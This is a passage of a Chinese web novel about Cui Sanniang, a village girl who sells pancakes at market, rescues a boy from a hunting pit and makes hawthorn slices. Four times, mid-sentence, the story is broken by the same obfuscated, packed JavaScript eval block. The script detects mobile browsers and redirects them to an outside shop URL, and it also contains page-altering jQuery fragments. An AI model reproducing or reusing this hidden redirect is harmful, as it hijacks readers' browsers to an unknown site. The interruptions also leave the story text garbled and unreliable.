那卖饼翁抬头一看,认出来人是镇上的二等富户黄老爷,一张打了秋霜似的茄瓜脸顿时绽出讨好的笑容:“黄老爷早哇,今日您要吃什么饼,我这里咸甜的全有。”
“要你废话,又不要你的。”这位黄老爷将卖饼翁推开半步,闪身出来,崔三娘这才认出他是昨日自家的头位客人,这客人冲崔三娘一笑,“昨天那酱香饼我没吃完,回家后孙儿吃了一口,特别喜欢,嚷嚷着叫我再买,可惜去渡口时你们已经回家,今儿原想着再去渡口,没曾想在这遇见,也好,省得跑远路。”
崔三娘一喜,忙包了五张饼双手递上:“真凑巧,多谢您惠顾,这饼还收您四文一个,一共二十文。”
黄老爷付钱接过饼,临走不忘刺卖饼翁一句:“你家的饼一日卖不完第二日又卖,都酸了臭了,白送我都不要,哼。”
卖饼翁听了气得眼前一黑,讷讷说不出话,崔三娘将钱收入荷包,觑着他发青的脸色冷然道:“这位阿伯,你我无冤无仇,都是做小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480610|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
买卖糊口而已,何必互伤内讧呢?”
崔三娘曾非常温善,可泛滥的善心从不结善果,只会令恶人得寸进尺,所以在经过短暂的思考后,她决定亮处锋芒,崔三娘直直盯着卖饼翁的眼睛:“若你一直苦苦相逼,别怪我们不客气。”
哟,一群乳臭未干的小女娃,能怎么不客气。
这卖饼翁心下一哂,正要张嘴骂人,却在看到崔三娘冷冰冰的眼神后心中发怵,这眼神尖锐锋利,竟然一点也不像个孩子,正愣神,背后猛然遭人一推。
一个踉跄后回头看,只见一个头发花白却精神矍铄的清瘦老太太正戳着他的鼻子大骂:“缺了德的混账玩意,你吃屎将双眼吃瞎了?大路宽阔,道道可行,你凭啥拦在俺孙女前?”
崔老太太气势骇人,自从她四十多年前嫁入崔家,大小骂战鲜有败绩,能一气骂小半个时辰不带歇,再看她身后,握着扁担的林氏怒目瞪来,亦凶得像夜叉。
看着这群老老少少的娘子军,卖饼翁掂量一番,发现自己骂也骂不过,打也没胜算后,识趣的溜了。
“呸!”崔老太太朝他的背影啐了一大口。
意外插曲迎刃而解,家人间相视而笑后,继续放声吆喝。
随着日头高长,集市上人越来越多,讨价还价之声不绝于耳,空气中充满了燥烘烘的气息,鸟儿在远处的山林间啾啾,近处则有蜻蜓蝴蝶蹁跹,崔三娘吆喝得累了,便在旁边的大石头上坐着歇息,不时啃上两口带来的蒸白薯。
摸着沉甸甸的钱袋,她感到格外满足,不过饼只卖出三十多个,还剩下小半,待会儿还得努力。
*
时间不知不觉过了午时,集市快结束了,箩筐中还剩下六个凉透的酱香饼,崔三娘心忖难卖,还是留着自家打牙祭的好,于是收拾好东西,问崔老太太:“奶奶,我想去逛会儿,买些东西,您看成吗?”
崔老太太跟前的鸡蛋已售空,但茄子萝卜还剩不少,有心再卖一会,便应道:“去吧,想要啥就买,你自己挣的钱,自个儿支配。”
听了这话,崔三娘心中暖呼呼的,她点点头,带上两个妹子朝对街的商铺走去。
对街有三间铺子,一间杂货铺,一间裁缝铺,一间药铺,崔三娘先去药铺,买了治疗关节肿痛的药酒,虽然崔老太太连声说今年腿脚爽利无事,但她清楚,人老了身体机能只会一年不如一年,没有好转的可能。
“店家,送两贴膏药吧,我们就住附近,常来关顾咧。”
二十文的药酒,崔三娘也有点心疼,药铺老板是个四十来岁的中年男子,许是药酒还有让利的空间,许是感叹这三位女娃孝敬长辈之孝心,捻须点头答应了,随赠她们三贴治肿痛的狗皮药膏。
崔三娘笑眯眯道:“多谢店家,祝您日日安康,年年顺意。”
出了药铺,他们又到了隔壁的杂货铺,这里的货物种类繁多,只是不知有无崔三娘想要的东西。
“你要糖?店里有是有,但贵,一两就要八文钱,你们要得起吗?”
5. 第 5 章
这店家不似隔壁药铺和善,说话时总拿鼻孔看人,崔三娘顿时有些恼火。
“你拿出来让我看看。”崔三娘也不客气,“货若不好,我自然不要。”
店家撇撇嘴,从货柜中抱出个罐子来,里面是些绿豆粒大小的淡黄色糖粒,制糖是门手艺,这时代已有不错的提纯技术,但人力物力有限,雪白的砂糖是富人才能享用的奢侈品,这乡间小杂货铺中,售卖的只有这种下等砂糖。
不过崔三娘仔细瞧过,发现只是卖相不好,砂砾杂质不算多:“我出十五文,要二两。”
店家抛来个白眼:“不卖!”
不卖就算了,崔三娘带着妹子们转身便走,她可以上镇上甚至去城中卖,谁稀罕。
“喂,等会,卖你算了!”
崔三娘三人才迈出店门,店主就改了口,崔三娘只作没听见,这回店家着急了,追出店门喊道:“七文一两,要不要?”
看在价钱的份上,崔三娘止住脚步,板着脸叫店家称了二两,见点里还卖饴糖,又要了三文钱,一共十块糖,预备给家里孩子们解馋,当然,她也算个孩子。
至于裁缝铺,崔三娘只在门口瞧了几眼,布料论尺卖,一尺就要十多文,一件衣裳得百来文,暂时不在她的消费计划中。
回到崔老太太和林氏跟前,她们筐子里的菜依旧没卖动,看着集市上逐渐稀落的人群,崔老太太站起来捶了捶腰腿:“走,咱们回家吧。”
今日东西虽没卖尽,但已比往日要好,生意好这心情便格外放松,回程的路上,连风儿都是香甜的。
家里头桂氏已早早煮了粥,灶上还温着炖茄子,不过赶集归来的崔家人虽饥肠辘辘,可心思全然不在吃上头,个个都惦记着数钱。
没错,没什么比数钱更令人兴奋了。
崔老太太埋头数了两遍,一共四十六枚钱,其中十个鸡蛋挣了三十文,其他是瓜菜卖得的钱,至于崔三娘这里,还有一百七十三文,若将买药酒砂糖等物耗费的银钱加上,今日得了二百多文。
望着满桌金灿灿的铜钱,崔老太太高兴得简直不知说什么好,她取来细麻绳,将钱币十个一组的串好:“三娘,你坐下,大家都坐下。”崔老太太的脸沉浸在日暮的余晖中,眼眸亮得惊人:“三娘啊,你真是崔家的能人,福星,咱家何时一日挣过这么些钱,就是你大哥在衙门里,所有禄米薪炭加起来折成现银,一日也不到百文钱。这二郎,还与你讲了哪些食方子?”
瞧老太太言下之意,是做买卖做上了瘾,不过也正合崔三娘心意:“有好些呢,旁的不说,咱们现下可做的,便有南瓜饼、山楂片。”
“哟,这南瓜咱家多,山楂嘛酸不啦叽,山上也多得是,这两样做出来,能卖钱?”崔老太太问。
“按二哥的说法做出来,应该能好吃,咱们试一试。”崔三娘满脸淡定的继续用崔二郎做挡箭牌。
崔老太太想了片刻:“成。”说罢环视家中诸人,“从今往后,我们都听三娘的,三娘要做啥,我们全力帮忙,谁都不许偷懒。”
话音才落,崔三娘添补道:“而且我们做了啥吃食,怎么制作,若有村里人问起,只说不知道。”
赚钱的事谁都眼红,为了减少麻烦,是该保密。
崔老太太连连点头称赞:“三娘想得很周到。”
说罢将眼神投到林氏和桂氏身上,这自然是示意她们约束好孩子,小孩儿天真无邪,最易被有心之人套话,林氏与桂氏忙表示知道了。
这晚,崔家的伙食又格外丰盛,不仅有常吃的野菜粥、炖茄子,还有加热过后酱香浓郁、色泽金黄的酱香饼,饼被切成了更小的块,分到各人碗中有巴掌大小,嗅着那馋人的香气,崔家诸人个个馋得流口水。
崔大郎昨日将那口饼让给了妻子,今晚是头回吃,他咬下一口,酱香饼独有的风味立刻在舌尖上炸开,简直能把人香迷糊,滋味儿好得出人意料,且这饼是重新加热过的,若是新鲜出炉,那美味程度岂不更上一层楼?
崔大郎嚼着饼,脑中突然闪过大上司曹书办枯黄的面孔,曹书办近日食欲不佳,在膳堂用饭时只用几口,不知遇见这酱香饼,会不会食指大动?
如此思索着,崔大郎开口:“三娘,明日你做饼么?”
“不做,明日我有其他打算。”崔三娘正慢慢享用着暮食,闻言看向崔大郎,“大哥有什么事吗”
崔大郎不过随口一问,他不喜讨好逢迎,但曹书办对他有恩情,因此不忍见他食不下咽,便想将妹妹做的饼拿去给书办吃个新鲜。
听完来龙去脉,崔三娘爽利道:“后天我做饼,正好可随大哥一起进城。”
崔三娘一直想进城看看,京城是一国之都,定人潮熙攘热闹非凡,她想想就觉得激动。
原身也曾去城中看过几次灯,但崔三娘读取的记忆十分模糊,终不如自己去看得真切。
见妹妹这么兴奋,崔大郎温和笑着点头。
夜晚睡觉时,桂氏轻柔的给儿子掖好被角,随后侧腰躺下,崔大郎睡在最外侧,听那匀称的呼吸声就快睡熟,桂氏还不困,她用胳膊肘捅了捅丈夫:“大郎,你觉不觉得……三娘有些奇怪?”
崔大郎闻声睁开眼睛,想了想道:“不曾啊,何处奇怪?”
桂氏说不上来,她嫁到崔家四年,算是看着崔三娘由小孩长成豆蔻少女,她们姑嫂俩相处极和谐,桂氏很喜欢三娘温善的性子,可自从她跌落山崖,伤虽养好了,可性情似乎大有变化。
变在何处呢?桂氏出神的想着,随后脑中蹦出个词,眼神。
没错,往日三娘眼神活泼天真,现在虽也明动,却多了种恬淡沉静,一下成熟了许多。
崔大郎每日城里城外的行走,早已困倦,听罢淡淡一笑:“三娘大病一场,病愈后有所变化很正常,且女孩儿家到了十二三岁,正是多思多虑的年纪,睡吧,别多想。”
丈夫说的话在理,可还是无法完全说服桂氏,她还想再聊聊,枕边人已鼾声渐起,她叹口气,在黑暗里继续静静思考,也不知过了多久,亦沉入梦乡。
-
清晨院里又铺了厚厚一层落叶,崔三娘套上外裳走出房门,一阵秋风刮过,立即感到寒意重重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480611|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
天一日冷过一日,裹着身上坠了六七个补丁的灰蓝色外裳,崔三娘再次意识到,她该准备过冬的厚衣厚被褥了,昨夜她翻过箱笼,箱子里只有两床薄薄的棉絮被子,和两件浆洗多次,又硬又破的古董棉服,她大为意外,在记忆中搜寻一番,竟想不起原身冬日是如何过的,她便在睡前有意同林氏套话。
“娘,瞧这天气,今年冬日恐怕又冷又长。”
林氏正在铺床,她头也没抬顺嘴就答:“是呀,该准备猫冬的物资了。”
猫冬?这两个字犹如一把钥匙,一下就打开了原主的记忆,原来冬日崔家人根本就不出门!睡前床前燃一盆炭取暖,几个人和衣而卧,盖一床破絮被,再盖上稻草做的“草绒被”,凑凑合合就睡,醒了大家也不出门,全在灶房和屋里打转,大人要出门喂鸡鸭才套那件古董棉服,一日改吃两顿,就这样猫整个冬日。
而且不止崔家,家里食物和衣物紧张的人家,都会这样猫冬,能在冬日穿得暖呼呼还上外头玩耍的,妥妥的是富贵人家。
崔三娘正发愣,崔老太太从灶房中探出头:“三娘,是不是昨日累着了?你把笤帚放下,今日多歇会。”
歇息?崔三娘现下岂有此等心思,她冲老太太一笑:“我不累。”
待她清扫完院落,林氏也已喂妥牲畜,而灶房里的崔老太太,也将早饭备好。
今日早饭比往日丰盛,除了雷打不动的粥,还多了一碗鸡蛋羹,黄澄澄嫩呼呼,散发着迷人的香气,这羹甫一端上桌,就引得大家咕嘟咕嘟吞口水。
崔老太太笑着叹了声:“这批蛋是亲家七天前送来的,我一直搁着。”说着看了桂氏一眼,“亲家送来了两篮子六十个,是给桂娘补身子的,我让桂娘拿回自己屋里慢慢吃,她不同意,说要有福同享有难同当。”
话说到这里,崔老太太已有些哽咽,握着桂氏的手道:“孩子啊,嫁到我家这些年,真是苦了你了。”
桂氏眼眶一热:“奶奶,我心里甜,咱们是一家人,不必说两家话。”
说罢拿起勺给大家分鸡蛋,只是最后剩下三分之一时,崔老太太说什么也不准桂氏分了,并将碗夺过,将剩下的蛋羹全都盛到了桂氏碗中:“说千道百,你有着身子呢。”
桂氏又激动又伤怀,最终和崔家兴你一口我一口将蛋羹吃完。
崔三娘其实一直很好奇,桂氏家境优渥,她爹娘为何要将她嫁与崔大郎,因为大哥一表人才长得帅?崔三娘随即自嘲一笑,再怎么帅,温饱都成问题,应该有其他的原因。
她一边想,一边用勺子将蛋羹送到嘴里。
蛋羹又香又滑,崔三娘还没有好好感受,就顺着喉咙滑到胃中。
啊,真可惜,崔三娘又吃一勺,只是仍没来得及细品,蛋羹在嘴里一纵即逝,直到吞下最后一口,崔三娘仍意犹未尽,不过,终究是托嫂子的福,让她又吃上了几口好东西。
崔三娘很感恩,而且在灵魂与这幅躯壳完全融合之际,她答应过原身,从此她就是崔三娘,崔三娘欠下的人情她要还,欺负过崔三娘的人,她来收拾。
6. 第 6 章
“嫂子,给。”
吃罢早饭,老太太与林氏又下地去了,崔三娘预备拉着姊妹们去山上寻野山楂,不过临出院门前,她特意往桂氏房里去了趟,桂氏正在做一双虎头鞋,闻声抬起头来:“啥事?”
崔三娘甜甜笑着,从腰间的小荷包中掏出四块饴糖:“嫂子你在家若无聊了,就吃块甜甜嘴。”
“呀,这是小孩吃的东西,你快收起来。”桂氏撂下针线连忙推拒。
崔三娘眨眨眼睛,调皮道:“嫂子肚里的娃儿也是小孩,就当给他吃嘛。”
桂氏噗呲一乐,旋即正色道:“他还不会吃东西呢,你少促狭了。”说罢深吸一口气,带着点儿慨然道,“我知道,你是心疼嫂子,不过你放心,嫂子同你说个秘密。”
桂氏说着将手搭在崔三娘肩头:“你大哥虽然在清水衙门,但偶尔也出个外勤,帮人写信办事,一回两回的,总可以得些茶水钱,嫂子我呀,嘴上没亏着,肚里的娃儿更亏不着。”
这个崔三娘相信,因为桂氏始终有三分圆润,按照崔家的伙食标准,她早该瘦成一根筷子了。
不过桂氏接下来的话,却叫她十分意外。
桂氏静静看着她的眼睛,语调温柔的好似母亲哄婴儿入睡:“你将心放宽些,这家有咱老太太,有娘亲,有你大哥和我,不用你来挑担子,你呀,还不到十三岁,正是该耍该闹的年纪,说句不该讲给你听的话,趁着这几年好好和姊妹耍闹,等你成婚出嫁了,可就没这般自由自在的日子了。”
昨夜桂氏想了很久,最终将崔三娘的变化归之于心病,为她瞧病家里欠下一大笔债,她天生懂事,自然感到内疚。
崔三娘半晌说不出话来,她能切身体会原主的情感,原主的确因药费深深歉疚,但她没有,她很努力的生活,为崔家创造收入,归根结底是为了自己能更好的生存,可这一刻,崔三娘忽然对家人二字有了深刻体会。
她不是外来者,她切实属于这个家,她是这个时代有血有肉、土生土长的人。
这一小会儿感慨良多,崔三娘脑子里乱极了,便蹦出句已读乱回的回答:“我不嫁人。”
言罢匆匆出了门去。
桂氏被这孩子气的话逗笑,将小桌上的饴糖收好,一边继续做鞋一边喃喃自语:“女人这辈子,怎么能不嫁人呢。”
-
野山楂的果子很小,滋味偏酸,然黄石村虽只是个偏僻小村,富户不多,但不至于食不果腹,因此这酸涩的小山楂漫山遍野都有,却愣是无人问津。
这很好,别人嫌弃而我统统都要。
崔三娘大致勘察了地形,在村东的山脚下,有片低缓的坡地,布满杂草和灌木,这坡地上约有十来株野山楂树,果子有的结的多有的结的少,选红润完整的摘下,应该够做这茬山楂片。
至于更高更陡峭的山地上,野山楂长得更好,但为安全着想,还需要从长计议。
“你俩摘南边这片,北面的我去。”崔三娘特意叮嘱崔四娘,“别乱跑,莫往高处去。”
崔四娘老成的点头:“三姐你放心,我俩很乖的。”
懂事的娃儿就是可爱,崔三娘揉了揉妹妹们的发顶,笑眯眯道:“等姐挣来钱,还给你们买糖吃。”
秋日气候清爽,天高云淡,日头出来后驱散了清晨的寒意,令人浑身暖意融融,崔三娘挎着竹篮,将袖口高高挽起,行走时脚下的枯叶唰唰做响,她深吸一口气,抹一把额上沁出的薄汗,望着起伏的山峦,浑身充满了干劲儿。
野山楂的外皮布满了细碎的裂隙和小点,像冬日小姑娘冻裂的脸颊,凑近一闻,还带有极清新的果香,崔三娘一摘一捧,一摘一捧,这棵树摘完又转战另一棵,也就是大半个时辰,便已摘得半篮子。
她揉了揉微微发酸的腰,准备歇息片刻,待坐到一旁的青石上左右四顾时,才发现自己已走了很远,若再往前,就是密林深处了,她们虽是农家人,这未经开垦的深山老林却从来不去,从小家中长辈就会叮嘱,林子深处有凶兽,会吃人。
瞧着黑洞洞的林子,枯叶似乎深不见底,崔三娘打了个冷颤,该往回走了。
她正要起身,却突然听见一阵小孩的笑声,咯咯的笑音飘荡在丛林中,霎时令崔三娘脊背生寒,好在下一瞬,就见不远处闪过几个孩子的身影,因有草木遮蔽,且崔三娘是坐着的,那几个孩子并没有看见她,崔三娘便也没起身打招呼,而是抚着胸口笑自个神经敏感。
那几个孩子应是偷着跑出来耍的,其中一个道:“咱走快些,待会儿娘要找我了。”
另一个道:“嘻嘻,咱们直接回家,别管那小白脸。”
“小白脸娘兮兮的,这会儿一定在里面哭鼻子,哈哈!”
“他活该!”
孩子们说着话,不一会就走远了,崔三娘听了个大概,没太听清,但似乎是说……崔三娘一惊,好像是在说林子里有人,他们将其中一个伙伴撇下了。
“喂。”崔三娘站起来想将那几人喊回来,可哪里还有影儿。
她犹豫了一会,又抬头看看明晃晃的日头,随后管闲事的心微微占据了上风,她就往前再走三百米,简单寻找一下,若没有人就去同小妹她们汇合,下山后再打听发生了何事。
沙沙沙,越往林子里走,枯枝烂叶越多,渐渐的光线也变得昏暗,高大的树冠遮蔽了日光,令气温骤然下降,崔三娘摸了摸胳膊上冒起的鸡皮疙瘩,心里萌发了退意。
为了自家安全,她不能再走了:“有人吗?有不有人?!”
崔三娘双手做喇叭状,用尽吃奶的劲儿大声喊道,连喊三声,即将放弃时,不远处传来微弱的答应声:“救命,救救我。”
当真有人!崔三娘循声找去,很快就发现了一个约两米深的废弃捕兽坑,坑外杂草丛生,探头往里瞧,有个十来岁的男孩,他腿似乎摔伤了,脸上挂着泪痕,见到崔三娘后挣扎着爬起来,可怜兮兮道:“救命,快拉我上去。”
可这荒郊野外的,哪有工具救人。
崔三娘先安抚男孩不要着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480612|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
急,随后在附近寻找一番,发现有段粗壮的树藤,她忙将树藤的一端栓在补兽坑边上的树上,另一端扔入坑底,最终一个爬一个拉,废了九牛二虎之力,总算将人拽了出来。
两个人都累的气喘吁吁,瘫在枯叶上歇了半刻,崔三娘坐起来:“你伤得重不重?还能走吗?”
男孩一副惊魂未定的样子,不过还算镇定,他揉了揉红肿的脚踝,试探着发力后道:“能走。”
能走就好,崔三娘站起来伸出胳膊:“我扶你出去。”
两个人走走停停,累得汗水湿透了衣裳,等他们走到林子外缘时,日头都快到正中了。
崔四娘和崔五娘已等了小半个时辰,若崔三娘再不出现,四娘都预备回家喊大人了:“三姐姐,你咋和柳家的人遇上了?”
崔三娘这才知道她从坑里拽出来的男孩姓柳。
“原来你是柳家的人。”
崔三娘知道柳家,这是去年才搬到黄石村的外来人,据说原先是吃皇粮的富贵人家,只是到如今世袭的荫禄基本享尽,他们在城里待不下去,才到黄石村买地建屋,到乡下过日子。
土著村民与他们基本井水不犯河水,很少往来,是以崔三娘第一眼见到这男孩时没触发相关记忆,没想起他来。
“三姐姐,让他自己回家吧,村里人见到我们和他说话,会指指点点。”崔四娘建议道。
她的建议不无道理,封建社会宗族势力之所以强大,便是因为个人无法脱离宗族生存。
男孩不等崔三娘回答,十分识趣道:“我能走,谢谢你救我出来。”
崔三娘经此一遭累得不行,听他这样说便不勉强,随后去旁边找个根粗壮的树枝递给他做拐杖,男孩红着眼睛再次道谢后,拄着树枝一瘸一拐的走远了。
回家简单用了午饭,崔三娘原想立即开始做山楂片,可实在困乏,就爬上床预备歇个晌。
这一觉睡得香甜极了,崔三娘还做起了啃鸡腿的美梦,一觉醒来鸡腿的香味似乎在残存在舌尖上,搅得她怅然有失,真不知道何时才能啃上鸡腿。
突然,院外传来母鸡咕咕咕的叫声,崔家院外是片山地,怎么会有鸡叫?难道是鸡舍里的母鸡越狱了?想到这里崔三娘一个激灵,起身就往院子里去,母鸡可是崔家的重要财产,丢一只都肉疼。
“有人吗?可有人在家?”
和她一样听见动静奔出房门的还有崔老太太和林氏,三人互望一眼,这才满眼疑惑的拉开院门。
院外站着一大一小两位男子,穿着青色和湖蓝色长袍,这打扮和农家的短衣垮裤全然不同,也没坠补丁,一看就是优渥人家,年长的那位大概四十来岁,留着两撇八字胡须,他双手一揖俯身道:“在下柳云海,携长子柳木林特来谢贵家救命之恩,小小薄礼不成敬意,还望收下。”
说完他身后那位年纪小些,大概只有十三四岁的半大少年跨步上前,崔三娘这才注意到他手上提着两只活鸡和一串礼盒。
礼盒就罢了,这鸡,可真肥。
7. 第 7 章
“哦,原来是柳家二老爷,来,屋里坐着说话。”
崔老太太不大喜欢柳家人,但伸手不打笑脸人,人家携礼上门,热水总得端上一杯。
进了院子,众人到堂屋坐下,柳云海环视周遭后拱手道:“这屋里屋外窗明几净,一看就是勤快的人家。”
说话间林氏去灶上取热水,泡了壶粗茶端上,崔老太太一边让柳家人喝茶,一边直爽笑道:“柳二老爷别说客套,咱们小门小户过日子,没什么值得称道的,你今天来,到底为什么事?”
崔三娘还没来得及将救人的事告诉崔老太太她们,柳云海便将事情原委从头讲了一遭。
原来柳氏阖族共三房,约百十口人,自从迁到黄石村,就将村西北方向的田地一齐买下,建屋舍挖水井,雇佃户养社畜,与村民们各安其道,大矛盾没有,小摩擦却不断。
大人之间不对付,小孩们也不在一起玩耍。
柳云海是柳家二房的家主,有两儿两女,崔三娘今日救下的,是他的小儿子柳木森。
“这孩子自搬来村里,常觉寂寞,今日有几个本村孩子在田野上玩抽陀螺的游戏,他在旁边看了一会,渐渐就玩到了一处,后来那几个孩子邀他山上抓野兔,木森觉得有趣,就一齐上了山,谁知失足跌入捕兽坑,若不是贵家三娘恰好路过,施以援手,真不知如何是好。”
柳云海连说连叹,崔老太太怎会不懂这种后怕的心情,宽慰道:“没事就好。”
林氏在旁静静听着,突然想起春日发生在崔三娘身上的意外,愤然道:“你家孩子同谁上的山?伙伴掉下坑,竟都不回村报信求救?”
话儿说完,屋里一时寂静无话,崔老太太瞪儿媳一眼,林氏才知自己失言。
甭说崔三娘听见了那几个孩子的对话,就是没听见也能猜到,那几个本村孩子恐怕是故意诱柳木森上山,又故意往有废兽坑的地方走,明摆着在整人。
说重些,已不是整人,而是犯罪。
但这滩浑水,崔家人不必蹚,柳云海为一家之长,自会去为儿子出头,他也很会拿捏分寸,没有深谈,只叹一声:“是哪几个孩子,在下现在不知,先将我儿的脚伤治好再说。”
说罢就要告辞:“等木森的脚养好,再叫他亲自登门致谢。”
抛开本村人同柳家人的矛盾,柳云海说话做事皆有礼有节,崔老太太也挑不出毛病,不过这礼物……
望着堂屋窄廊下那两只大肥鸡,崔老太太急跨两步追上:“礼物拿回去,捎带手的事,怎好收这样重的礼。”
柳云海再次拱手致意:“不成不成,答谢救命之恩,这礼只轻不重。”
好一番推拒拉扯后,崔老太太怕动静太大引得邻里瞩目,只得收下,她合上院门,摇头啧啧道:“这柳家人里头,也有讲理的嘛。”说完进屋来,对正准备处理野山楂的崔三娘道,“你是个好孩子,救人一命是大功德,明日不是要进城?咱顺路去寺里给菩萨上注香。”
“奶奶,三姐姐,大黄啄它俩,怎么办啊。”院子里的鸡舍旁,崔四娘大声喊道。
崔家原养了十来只鸡,鸡舍宽敞,再添两只不成问题,可柳家这两只鸡一放进去,崔家原先养的那些就奔过来啄它,尤其是一只毛色金黄发亮的老母鸡,简直凶神恶煞。
“分开养吧。”崔三娘瞧那两只鸡可怜兮兮,有些于心不忍。
崔老太太也探头来看,半晌后忽然道:“还养啥养,吃了呗。”
这话音量不高,但全体崔家人都惊呆了,吃鸡?崔三娘有一瞬甚至觉得自己是太久没吃肉而产生了幻听。
一只肥鸡少说得八九十文钱,说吃就吃?
崔老太太用实际行动证明,说吃就得吃,她麻利的钻进鸡舍,揪住肥鸡的翅膀:“现在就烧水烫毛,晚上咱好好开荤,吃鸡肉喝鸡汤。”
幸福来得太突然,崔三娘咽着口水忆起中午的梦,这是梦想成真了。
真美好。
宰鸡拔毛的活儿自然交给老太太与林氏,崔三娘提着盛山楂的篮子,在院里寻了个舒适地方,三姐们一人一个方向的坐着,开始取山楂果肉,这果子已上锅蒸熟,现在需要剥皮去籽儿,这步骤极耗耐心,但好在有伴,姊妹三个说说笑笑,不知不觉就将果肉取尽了。
不过接下来的才是真正的大工程,崔三娘要将果肉切碎,放在木碗中用小木槌不停的捶捣,直到成为山楂果肉变成山楂泥为止。
这过程相当漫长,崔三娘和崔五娘轮番上阵,期间林氏也来捣鼓了一阵,直过了一个时辰,这碗山楂才终于变成烂乎乎的果泥。
下一步是熬糖浆,这道工序简单,清水加砂糖,小火不停搅拌,慢慢的熬上小半个时辰,待糖浆拉丝就可以趁热分多次倒入到山楂果泥中,嗅着酸香的果味儿,崔三娘感觉整个人都清盈几分。
山楂健胃开脾,酸酸甜甜,她特别喜欢,只是不知其他人吃不吃得惯。
不过,千人千胃,偌大的城中总该能寻见一二知己吧?如此想着,崔三娘挽袖将混合好的糖浆果泥盛到了陶罐里,这果酱湿度太高,还需要再熬去一些水分,直到变作絮状,才能取出揉搓擀平,由其自然风干后,就是山楂片了。
“都过来尝尝。”
一应工序总算完成,崔三娘抹了抹额上的细汗,招呼妹妹们和小侄儿过来,一人分了一小块,她自己也尝了一口。
才嚼几下,她就瞪大了眼睛,这手工山楂片的味道竟出人意料的好,砂糖综合了山楂最原始的酸涩感,因是手工捣的果泥,偶尔还能嚼到大粒的果肉,甜蜜中混合着果酸,令人越嚼越上瘾。
“三姐姐,这太好吃啦。”崔四娘两眼放光,“简直和肉一样好吃。”
崔五娘和崔家兴跟着赞同,吃完还眼巴巴往簸箕里瞧,显然没吃够,崔三娘笑着蹲下去:“今日咱们摘了十几斤山楂,还有大半没用呢,明儿将剩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480613|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下的晒干磨成粉,什么时候想吃,咱什么时候再做。”
至于今日这些,大概只有一斤成品,得留着明日进城去卖。
崔家的娃儿都很懂事早慧,闻言都乖巧点头,那模样瞧着令人窝心又心酸,崔三娘犹豫了一会,准备再揪些给小孩子做零嘴,桂氏拦在了她跟前:“好啦,别由着他们,这东西费料费时,留着换钱,再说了,今日宰了鸡,还能亏着他们?”
这倒也是,刚才一直忙着做山楂片没注意,现在才发现院里早溢满了鸡汤的鲜香滋味,那味儿极有魔力,将崔三娘的魂魄都勾了出来,她吞着口水,一边不停的嗅一边问:“鸡汤做好了?”
崔老太太擦着手从屋外走进来:“早就熬好了,就等大郎了。”
往日崔大郎大概酉时过半到家,可今日都快到戊时了竟还不见影儿,崔三娘往院外望了几眼:“大哥莫不是有事耽搁了?奶奶,娘,我点个火把去村口瞧瞧。”
“黑咕隆咚的,你去怎么成,我去看看。”崔老太太说着将抹布搁下,正待出院门,虚掩的门扇吱嘎一声,崔大郎终于回来了。
“下午衙门有案子,出了外勤。”崔大郎拍打着身上的尘土,面带歉色,“如今天黑得早,衙门里事务多了起来,加值是常有的事,往后别等我用暮食。”
桂氏笑着给丈夫递上擦脸的巾帕:“知道了,不过今日不同。”
的确,宰鸡吃肉,对崔家来说无异于过节。
崔大郎还没进院子就嗅到了鸡汤的浓郁香味,只没料到是自家吃鸡:“真香啊。”
“可不,这老母鸡汤最香最补了。”崔老太太咧嘴直笑,还大方的点了盏油灯,她举着油灯招呼大家赶紧去灶房坐下,“咱们今日有这等口福,全是托三娘的福。”
说着崔家诸人你一句我一句将今日发生的种种同崔大郎说了,崔大郎感慨不已:“咱村里居然出了此等顽劣孩童。”
“可不是。”崔老太太瘪嘴一哼,“有些人啊,天生是坏种!”
扯闲话归扯闲话,却一点也不耽误开饭。
这只鸡很肥壮,足有六七斤重,炖了满满一大锅肉,鸡汤煨得奶白,上头漂浮着一层金灿灿的油脂,缭绕的热气从锅口逸出,平等的勾引着每个人。
崔老太太握着木柄勺,挨个儿给大家盛汤:“先喝汤,暖暖身子。”
